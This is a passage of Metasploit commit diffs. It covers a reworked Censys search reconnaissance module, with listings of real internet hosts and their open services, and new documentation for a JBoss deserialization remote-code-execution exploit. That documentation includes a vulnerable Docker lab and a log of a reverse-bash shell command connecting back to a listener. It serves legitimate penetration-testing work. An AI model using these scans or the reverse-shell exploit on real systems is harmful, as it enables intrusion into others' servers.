XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX` (length: 32) +1. Do: `set CERTIFICATES true` (to get certificates details - optional) +1. Do: `set QUERY ` +1. Do: `run` ## Scenarios -### Certificates Search - +A single keyword or a domain name can be used. For advanced searches, the Censys Search Language can also be used. +Here, the following query is used to get the hosts running FTP or Telnet in Germany: ``` -msf auxiliary(censys_search) > set CENSYS_DORK rapid7 -CENSYS_DORK => rapid7 -msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE certificates -CENSYS_SEARCHTYPE => certificates -... -[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA -[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost -[+] 208.118.237.41 - CN=NeXpose Security Console, O=Rapid7 -... - +location.country_code: DE and services.service_name: {"FTP", "Telnet"} ``` -### IPv4 Search +### Without certificates details ``` -msf auxiliary(censys_search) > set CENSYS_DORK rapid7 -CENSYS_DORK => rapid7 -msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE ipv4 -CENSYS_SEARCHTYPE => ipv4 -[*] 197.117.5.36 - 443/https -[*] 208.118.237.81 - 443/https -[*] 206.19.237.19 - 443/https -[*] 54.214.49.70 - 80/http,443/https -[*] 208.118.237.241 - 443/https -[*] 162.220.246.141 - 443/https,22/ssh,80/http -[*] 31.214.157.19 - 443/https,22/ssh -[*] 52.88.1.225 - 443/https,22/ssh -[*] 208.118.227.12 - 25/smtp -[*] 38.107.201.41 - 443/https -[*] 52.44.56.126 - 80/http,443/https -[*] 52.54.227.6 - 443/https,80/http -[*] 23.217.253.242 - 443/https,80/http -[*] 96.6.3.45 - 80/http,443/https -[*] 23.6.73.47 - 443/https,80/http -[*] 23.78.99.243 - 80/http,443/https -[*] 23.53.51.170 - 80/http,443/https -[*] 23.62.201.47 - 443/https,80/http -[*] 2.23.50.157 - 443/https,80/http -[*] 118.215.191.13 - 80/http,443/https -[*] 2.19.185.28 - 80/http,443/https -[*] 2.18.195.99 - 443/https,80/http -[*] 23.197.196.25 - 443/https,80/http -[*] 95.100.104.181 - 443/https,80/http -[*] 2.20.37.130 - 80/http,443/https -[*] 23.194.237.34 - 443/https,80/http -[*] 2.17.140.86 - 443/https,80/http -[*] 64.125.235.5 - 25/smtp -[*] 208.118.227.32 - 80/http -[*] 2.21.129.149 - 80/http,443/https -[*] 2.20.167.33 - 80/http,443/https -[*] 95.100.139.218 - 80/http,443/https -[*] 23.38.88.202 - 443/https,80/http -[*] 2.17.184.80 - 443/https,80/http -[*] 23.59.119.23 - 80/http,443/https -[*] 2.16.14.225 - 443/https,80/http -[*] 104.113.122.33 - 443/https,80/http -[*] 23.223.44.164 - 80/http,443/https -[*] 88.221.120.214 - 443/https,80/http -[*] 23.47.36.145 - 443/https,80/http -[*] 2.23.21.254 - 80/http,443/https -[*] 208.118.237.39 - 443/https -[*] 208.118.237.40 - 443/https -[*] 208.118.237.41 - 443/https -[*] 23.54.217.47 - 80/http,443/https -[*] 96.17.254.188 - 443/https,80/http -[*] 184.25.129.65 - 443/https,80/http -[*] 104.121.167.123 - 443/https,80/http -[*] 104.94.110.63 - 443/https,80/http -[*] 104.91.11.216 - 80/http,443/https -[*] 23.38.233.47 - 80/http,443/https -[*] 52.86.110.89 - 80/http,443/https -[*] 69.192.73.47 - 443/https,80/http -[*] 184.86.57.47 - 443/https,80/http -[*] 104.86.45.180 - 443/https,80/http -[*] 184.87.72.153 - 80/http,443/https -[*] 23.66.25.47 - 80/http,443/https -[*] 23.56.162.76 - 80/http,443/https -[*] 184.87.133.242 - 443/https,80/http -[*] 23.55.74.28 - 80/http,443/https -[*] 23.6.225.84 - 80/http,443/https -[*] 23.46.133.153 - 443/https,80/http -[*] 23.10.121.47 - 443/https,80/http -[*] 104.109.35.169 - 80/http,443/https -[*] 172.227.101.182 - 80/http,443/https -[*] 184.27.23.104 - 80/http,443/https -[*] 23.49.185.47 - 80/http,443/https -[*] 23.67.172.177 - 80/http,443/https -[*] 23.62.170.161 - 443/https,80/http -[*] 23.219.71.35 - 443/https,80/http -[*] 104.82.94.233 - 443/https,80/http -[*] 184.26.73.47 - 80/http,443/https -[*] 104.68.108.237 - 80/http,443/https -[*] 23.60.39.77 - 80/http,443/https -[*] 23.66.100.92 - 80/http,443/https -[*] 23.61.28.182 - 443/https,80/http -[*] 23.42.116.233 - 80/http,443/https -[*] 104.105.14.197 - 80/http,443/https -[*] 104.103.203.240 - 80/http,443/https -[*] 104.65.57.235 - 80/http,443/https -[*] 23.41.83.224 - 80/http,443/https -[*] 184.51.185.47 - 80/http,443/https -[*] 23.67.231.142 - 80/http,443/https -[*] 208.118.237.38 - 443/https -[*] 104.76.25.28 - 80/http,443/https -[*] 23.196.125.176 - 443/https,80/http -[*] 23.40.154.224 - 80/http,443/https -[*] 23.77.33.204 - 443/https,80/http -[*] 104.88.21.48 - 80/http,443/https -[*] 173.223.134.47 - 80/http,443/https -[*] 23.4.98.72 - 80/http,443/https -[*] 23.44.97.3 - 80/http,443/https -[*] 23.203.66.142 - 443/https,80/http -[*] 23.42.216.251 - 443/https,80/http -[*] 23.42.85.25 - 80/http,443/https -[*] 173.255.195.131 - 80/http,23/telnet,25/smtp,110/pop3,53/dns,443/https,22/ssh -[*] 104.83.219.182 - 443/https,80/http -[*] 184.86.41.47 - 443/https,80/http -[*] 104.97.72.196 - 443/https,80/http -[*] 69.192.169.48 - 443/https,80/http +msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID= CENSYS_SECRET= + +[+] 2.19.184.189 - 21/FTP,22/SSH,80/HTTP,443/HTTP +[+] 2.19.184.214 - 21/FTP +[+] 2.19.184.216 - 21/FTP +[+] 2.23.14.108 - 21/FTP +[+] 2.23.14.163 - 21/FTP,449/UNKNOWN,515/UNKNOWN,4101/UNKNOWN,4222/UNKNOWN,44100/UNKNOWN,44104/UNKNOWN,44117/UNKNOWN,44133/UNKNOWN,44156/UNKNOWN,44161/UNKNOWN,44162/UNKNOWN,44170/UNKNOWN,44174/UNKNOWN +[+] 2.23.14.195 - 21/FTP,45108/UNKNOWN,45110/UNKNOWN,45111/UNKNOWN,45117/UNKNOWN,45149/UNKNOWN,45150/UNKNOWN,45164/UNKNOWN +[+] 2.23.14.199 - 21/FTP +[+] 2.23.14.201 - 21/FTP,47106/UNKNOWN,47113/UNKNOWN,47150/UNKNOWN +[+] 2.23.14.209 - 21/FTP,49100/UNKNOWN,49121/UNKNOWN,49143/UNKNOWN,49152/UNKNOWN +[+] 2.23.14.212 - 21/FTP +[+] 2.23.14.218 - 21/FTP +[+] 2.23.14.235 - 21/FTP +[+] 2.23.14.243 - 21/FTP +[+] 2.23.15.71 - 21/FTP,22/SSH,80/HTTP,443/HTTP +[+] 2.23.15.238 - 21/FTP,80/HTTP,443/HTTP +[+] 2.56.11.154 - 21/FTP,22/SSH,25/SMTP,53/DNS,80/HTTP,110/POP3,143/IMAP,443/HTTP,465/SMTP,587/SMTP,993/IMAP,2077/HTTP,2078/HTTP,2079/HTTP,2080/HTTP,2082/HTTP,2083/HTTP,2086/HTTP,2087/HTTP,2095/HTTP,2096/HTTP,3306/MYSQL +[+] 2.56.11.222 - 21/FTP,22/SSH,80/HTTP,111/PORTMAP,137/NETBIOS,443/HTTP,445/SMB +[+] 2.56.77.123 - 21/FTP,22/SSH,80/HTTP +[+] 2.56.77.162 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,993/IMAP,5022/SSH,8443/HTTP,50080/HTTP +[+] 2.56.77.185 - 21/FTP,25/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/UNKNOWN +[+] 2.56.77.186 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/UNKNOWN,5060/SIP +[+] 2.56.77.189 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/HTTP,8080/HTTP,50080/HTTP +... ``` -### Websites Search +### With certificates details ``` -msf auxiliary(censys_search) > set CENSYS_DORK rapid7 -CENSYS_DORK => rapid7 -msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE websites -CENSYS_SEARCHTYPE => websites -msf auxiliary(censys_search) > run +msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID= CENSYS_SECRET= CERTIFICATES=true + +[+] 2.19.184.189 - 21/FTP,22/SSH,80/HTTP,443/HTTP +[*] Certificate for 21/FTP: C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K) +[*] Certificate for 443/HTTP: C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K) +[+] 2.19.184.214 - 21/FTP +[+] 2.19.184.216 - 21/FTP +[+] 2.23.14.108 - 21/FTP +[+] 2.23.14.163 - 21/FTP,449/UNKNOWN,515/UNKNOWN,4101/UNKNOWN,4222/UNKNOWN,44100/UNKNOWN,44104/UNKNOWN,44117/UNKNOWN,44133/UNKNOWN,44156/UNKNOWN,44161/UNKNOWN,44162/UNKNOWN,44170/UNKNOWN,44174/UNKNOWN +[+] 2.23.14.195 - 21/FTP,45108/UNKNOWN,45110/UNKNOWN,45111/UNKNOWN,45117/UNKNOWN,45149/UNKNOWN,45150/UNKNOWN,45164/UNKNOWN +[+] 2.23.14.199 - 21/FTP +[+] 2.23.14.201 - 21/FTP,47106/UNKNOWN,47113/UNKNOWN,47150/UNKNOWN +[+] 2.23.14.209 - 21/FTP,49100/UNKNOWN,49121/UNKNOWN,49143/UNKNOWN,49152/UNKNOWN +[+] 2.23.14.212 - 21/FTP +[*] Certificate for 21/FTP: C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1) +[+] 2.23.14.218 - 21/FTP +[*] Certificate for 21/FTP: C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1) +[+] 2.23.14.235 - 21/FTP +[+] 2.23.14.243 - 21/FTP +... + +msf6 auxiliary(gather/censys_search) > services +Services +======== -[+] rapid7.com - [37743] -[+] logentries.com - [45346] -[+] venturefizz.com - [106102] -[+] gild.com - [116853] -[+] sectools.org - [122125] -[+] ericzhang.me - [155622] -[+] metasploit.com - [156435] -[+] datapipe.com - [209756] -[+] routerpwn.com - [317896] -[+] proxy-base.com - [507954] -[+] config.fr - [542346] -[+] winterwyman.com - [629471] -[+] gogrid.com - [741009] -[+] wesecure.nl - [997423] -[*] Auxiliary module execution completed +host port proto name state info +---- ---- ----- ---- ----- ---- +2.19.184.189 80 tcp http open +2.19.184.189 443 tcp http open C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification A + uthority - L1K) +2.19.184.189 21 tcp ftp open C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification A + uthority - L1K) +2.19.184.189 22 tcp ssh open +2.19.184.214 21 tcp ftp open +2.19.184.216 21 tcp ftp open +2.23.14.108 21 tcp ftp open +2.23.14.163 21 tcp ftp open +2.23.14.163 44174 tcp unknown open +2.23.14.163 449 tcp unknown open +2.23.14.163 515 tcp unknown open +2.23.14.163 4101 tcp unknown open +2.23.14.163 4222 tcp unknown open +2.23.14.163 44104 tcp unknown open +2.23.14.163 44100 tcp unknown open +2.23.14.163 44117 tcp unknown open +2.23.14.163 44133 tcp unknown open +2.23.14.163 44156 tcp unknown open +2.23.14.163 44161 tcp unknown open +2.23.14.163 44162 tcp unknown open +2.23.14.163 44170 tcp unknown open +2.23.14.195 45108 tcp unknown open +2.23.14.195 45111 tcp unknown open +2.23.14.195 45164 tcp unknown open +2.23.14.195 45150 tcp unknown open +2.23.14.195 45149 tcp unknown open +2.23.14.195 21 tcp ftp open +2.23.14.195 45117 tcp unknown open +2.23.14.195 45110 tcp unknown open +2.23.14.199 21 tcp ftp open +2.23.14.201 47113 tcp unknown open +2.23.14.201 21 tcp ftp open +2.23.14.201 47106 tcp unknown open +2.23.14.201 47150 tcp unknown open +2.23.14.209 49100 tcp unknown open +2.23.14.209 21 tcp ftp open +2.23.14.209 49143 tcp unknown open +2.23.14.209 49121 tcp unknown open +2.23.14.209 49152 tcp unknown open +2.23.14.212 21 tcp ftp open C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1) +2.23.14.218 21 tcp ftp open C=US, ST=Vermont, L=Colchester, O=VERMONT INFORMATION PROCESSING\, INC., CN=*.vtinfo.com (Issuer: C=US, O=DigiCert Inc, CN=DigiCert TLS RSA SHA256 2020 CA1) +2.23.14.235 21 tcp ftp open +2.23.14.243 21 tcp ftp open ``` diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb index 586a41b7e7f2..f5f8c1de97c5 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -3,179 +3,141 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report - def initialize(info={}) - super(update_info(info, - 'Name' => 'Censys Search', - 'Description' => %q{ - The module use the Censys REST API to access the same data - accessible through web interface. The search endpoint allows searches - against the current data in the IPv4, Top Million Websites, and - Certificates indexes using the same search syntax as the primary site. - }, - 'Author' => [ 'Nixawk' ], - 'References' => [ - ['URL', 'https://censys.io/api'] - ], - 'License' => MSF_LICENSE - )) + CENSYS_SEARCH_API = 'search.censys.io'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Censys Search', + 'Description' => %q{ + The module uses the Censys REST API to access the same data accessible + through the web interface. The search endpoint allows queries using + the Censys Search Language against the Hosts dataset. Setting the + CERTIFICATES option will also retrieve the certificate details for each + relevant service by querying the Certificates dataset. + }, + 'Author' => [ + 'Nixawk', # original Metasploit module + 'e2002e', # rework to use the API v2 + 'Christophe De La Fuente' # rework to use the API v2 + ], + 'References' => [ + ['URL', 'https://search.censys.io'] + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ OptString.new('CENSYS_UID', [true, 'The Censys API UID']), OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']), - OptString.new('DORK', [true, 'The Censys Search Dork']), + OptString.new('QUERY', [true, 'The Censys search query']), OptBool.new('CERTIFICATES', [false, 'Query infos about certificates', false]) ]) end - def basic_auth_header(username, password) - auth_str = username.to_s + ":" + password.to_s - auth_str = "Basic " + Rex::Text.encode_base64(auth_str) + def basic_auth_header + auth_str = datastore['CENSYS_UID'].to_s + ':' + datastore['CENSYS_SECRET'].to_s + 'Basic ' + Rex::Text.encode_base64(auth_str) end def search(keyword) - # search_type should be one of ipv4, websites, certificates - begin - # "80.http.get.headers.server: Apache" - payload = { - 'query' => keyword - } - @cli = Rex::Proto::Http::Client.new('search.censys.io', 443, {}, true) + @cli = Rex::Proto::Http::Client.new(CENSYS_SEARCH_API, 443, {}, true) @cli.connect response = @cli.request_cgi( 'method' => 'GET', - 'uri' => "/api/v2/hosts/search?q=#{keyword}", - 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, + 'uri' => "/api/v2/hosts/search?q=#{keyword}", + 'headers' => { 'Authorization' => basic_auth_header } ) res = @cli.send_recv(response) - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("HTTP Connection Failed") - end - - unless res - print_error('server_response_error') - return + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT => e + fail_with(Failure::Unreachable, "#search: HTTP Connection Failed: #{e}") end + fail_with(Failure::Unreachable, '#search: HTTP Connection Failed') unless res records = ActiveSupport::JSON.decode(res.body) - parse_ipv4(records['result']) + if records['code'] == 200 + parse_record(records['result']) + else + fail_with(Failure::UnexpectedReply, "Error returned by '/api/v2/hosts/search': code=#{records['code']}, status=#{records['status']}, error=#{records['error']}") + end end - def valid_domain?(domain) - domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/ - end + def get_certificate_details(cert_fingerprint) + return if cert_fingerprint.nil? - def domain2ip(domain) - ips = [] begin - ips = Rex::Socket.getaddresses(domain) - rescue SocketError + response = @cli.request_cgi( + 'method' => 'GET', + 'uri' => "/api/v1/view/certificates/#{cert_fingerprint}", + 'headers' => { 'Authorization' => basic_auth_header } + ) + res = @cli.send_recv(response) + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error('#get_certificate_details - HTTP Connection Failed') + return end - ips - end + return unless res - def parse_certificate(certificate) - if certificate.nil? - return "NO_CERT_DATA" - end - ips = [] - # parsed.fingerprint_sha256 - # parsed.subject_dn - # parsed.issuer_dn - subject_dn = certificate['parsed']['subject_dn'] - return unless subject_dn.include?('CN=') - - host = subject_dn.split('CN=')[1] - if Rex::Socket.is_ipv4?(host) - ips << host - elsif valid_domain?(host) # Fake DNS server - ips |= domain2ip(host) - end + cert_details = ActiveSupport::JSON.decode(res.body) + subject = cert_details.dig('parsed', 'subject_dn') + return unless subject - result = [] - ips.each do |ip| - result.append("#{ip} - #{subject_dn}") - end - return result + issuer = cert_details.dig('parsed', 'issuer_dn') + cert_details = subject + cert_details << " (Issuer: #{issuer})" if issuer + cert_details end - def parse_ipv4(records) - if records.nil? + def parse_record(records) + unless records&.dig('hits')&.any? + print_error('The query did not return any records') return end - records['hits'].each do |ipv4| - ip = ipv4['ip'] - services = ipv4['services'] + records['hits'].each do |hit| + ip = hit['ip'] + services = hit['services'] ports = [] - port_count = 0 + certs = [] services.each do |service| port = service['port'] name = service['service_name'] - ports.append("#{port}/#{name}") - port_count += 1 - if @certificates == true - certificate = service['certificate'] - if certificate - begin - response = @cli.request_cgi( - 'method' => 'GET', - 'uri' => "/api/v1/view/certificates/#{certificate}", - 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, - ) - res = @cli.send_recv(response) - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("HTTP Connection Failed") - end - unless res - print_error('server_response_error') - return - end - cert = ActiveSupport::JSON.decode(res.body) - ports.append(parse_certificate(cert)) + ports << "#{port}/#{name}" + cert_details = nil + if datastore['CERTIFICATES'] && service['certificate'] + cert_details = get_certificate_details(service['certificate']) + if cert_details + certs << "Certificate for #{port}/#{name}: #{cert_details}" else - ports.append("NO_CERT_DATA") #Need to input data for organization - end - else - ports.append("NO_CERT_DATA") #Need to input data for organization - end - report_service(:host => ip, :port => port, :name => name) - end - - if ports != nil - i = 0 - print_good("#{ip}") - ports.each do |port| - if i % 2 == 0 && i / 2 < port_count - print "#{port} " + vprint_error("Unable to get certificate details for #{port}/#{name}") end - i += 1 end - print "\n" - if @certificate == true - ports.each do |port| - if i % 2 == 1 && i / 2 < port_count - if !port.include? "NO_CERT_DATA" - port.each do |cert| - print_good("#{ports[i-1]} - #{cert}") - end - end - end - i += 1 - end + if cert_details + report_service(host: ip, port: port, name: name, info: cert_details) + else + report_service(host: ip, port: port, name: name) end end + print_good("#{ip} - #{ports.join(',')}") + certs.each { |cert| print_status(cert) } end end - # Check to see if www.censys.io resolves properly + + # Check to see if Censys Search API host resolves properly def censys_resolvable? begin - Rex::Socket.resolv_to_dotted("www.censys.io") + Rex::Socket.resolv_to_dotted(CENSYS_SEARCH_API) rescue RuntimeError, SocketError return false end @@ -183,16 +145,10 @@ def censys_resolvable? end def run - # check to ensure www.censys.io is resolvable unless censys_resolvable? - print_error("Unable to resolve www.censys.io") - return + fail_with(Failure::Unreachable, "Unable to resolve #{CENSYS_SEARCH_API}") end - @uid = datastore['CENSYS_UID'] - @secret = datastore['CENSYS_SECRET'] - @dork = datastore['DORK'] - @certificates = datastore['CERTIFICATES'] - search(@dork) + search(datastore['QUERY']) end end From b8834e15345e588ff68428518df57d4aef084dfa Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 5 Jul 2022 00:19:17 +0200 Subject: [PATCH 31/79] Added documentation --- .../misc/jboss_remoting_unified_invoker.md | 153 ++++++++++++++++++ 1 file changed, 153 insertions(+) create mode 100644 documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker.md diff --git a/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker.md b/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker.md new file mode 100644 index 000000000000..3daee1710a5b --- /dev/null +++ b/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker.md @@ -0,0 +1,153 @@ +## Vulnerable Application + +### Description + +This module exploits a Java deserialization vulnerability in JBOSS +EAP/AS Remoting Unified Invoker interface for versions 6.1.0 and prior. + +### Setup + +#### Dockerfile +```dokerfile +FROM jboss/base-jdk:8 + +# Set the JBOSS_VERSION env variable +ENV JBOSS_HOME /opt/jboss/jboss-as-6.1 +ENV EAP_HOME /opt/jboss/jboss-as-6.1 + +# Add the JBoss distribution to /opt, and make jboss the owner of the extracted zip content +# https://jbossas.jboss.org/downloads +RUN curl https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip -o /opt/jboss/jboss-as-6.1.0.zip +RUN jar -xvf /opt/jboss/jboss-as-6.1.0.zip \ +&& mv /opt/jboss/jboss-6.1.0.Final $EAP_HOME \ +&& chmod a+x $EAP_HOME/bin/* + +# Ensure signals are forwarded to the JVM process correctly for graceful shutdown +#ENV LAUNCH_JBOSS_IN_BACKGROUND true + +# Enable binding to all network interfaces and debugging inside the EAP +RUN echo "JAVA_OPTS=\"\$JAVA_OPTS -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0\"" >> ${EAP_HOME}/bin/run.conf + +# Expose the ports we're interested in +EXPOSE 8080 9990 4447 9999 4446 3873 4445 + +# Set the default command to run on boot +# This will boot JBoss EAP in the standalone mode and bind to all interface +ENTRYPOINT ["/opt/jboss/jboss-as-6.1/bin/run.sh"] +``` + +#### docker-compose.yml + +```yml +version: "3" +services: + web: + build: . + ports: + - "8080:8080" + - "9990:9990" + - "4447:4447" + - "9999:9999" + - "4446:4446" + - "3873:3873" + - "4445:4445" + networks: + internet: + aliases: + - jboss-as-61 +networks: + internet: + driver: bridge +``` + +```bash +docker-compose up +``` + +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + +## Targets + +### 0 + +This executes a Unix command. + +### 1 + +This uses a Linux dropper to execute code. + +## Scenarios + +### JBoss Application Server 6.1.0 from [Docker](#setup). + +``` +msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > options + +Module options (exploit/multi/misc/jboss_remoting_unified_invoker_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS localhost yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit + RPORT 4446 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + SSL false no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH no The URI to use for this exploit (default is random) + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.1.15 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix Command + + +msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > exploit + +[*] Started reverse TCP handler on 192.168.1.15:4444 +[*] 127.0.0.1:4446 - Running automatic check ("set AutoCheck false" to disable) +[+] 127.0.0.1:4446 - The target appears to be vulnerable. +[*] 127.0.0.1:4446 - Executing Unix Command for cmd/unix/reverse_bash +[+] 127.0.0.1:4446 - Successfully executed command: bash -c '0<&70-;exec 70<>/dev/tcp/192.168.1.15/4444;sh <&70 >&70 2>&70' +[*] Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.15:65270) at 2022-07-05 